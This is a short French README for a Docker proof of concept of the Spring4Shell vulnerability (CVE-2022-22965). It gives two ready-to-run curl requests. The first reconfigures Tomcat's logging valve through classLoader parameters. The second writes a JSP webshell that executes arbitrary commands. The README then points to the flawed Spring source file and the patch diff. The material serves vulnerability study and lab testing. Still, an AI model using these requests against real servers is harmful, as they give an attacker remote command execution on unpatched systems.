
PoC Docker pour CVE-2022-22965 avec Spring Boot version 2.6.5
PoC Docker pour CVE-2022-22965 avec Spring Boot version 2.6.5

docker compose up --build pour construire et démarrer l'application vulnérable.curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" pour modifier la valve de configuration Tomcat.curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x" pour créer le webshell.Le code source de Spring Framework 5.3.17 (vulnérable) et de Spring Framework 5.3.18 (corrigé) peut être téléchargé respectivement depuis :
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
La vulnérabilité se trouve dans le fichier /spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java à la ligne 290 où une validation est appliquée pour les méthodes Class.getClassLoader() et getProtectionDomain() mais pas pour les types ClassLoader, ProtectionDomain et les noms des PropertyDescriptors.
La différence entre le code vulnérable et le code corrigé peut être obtenue avec la commande diff.
$ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java
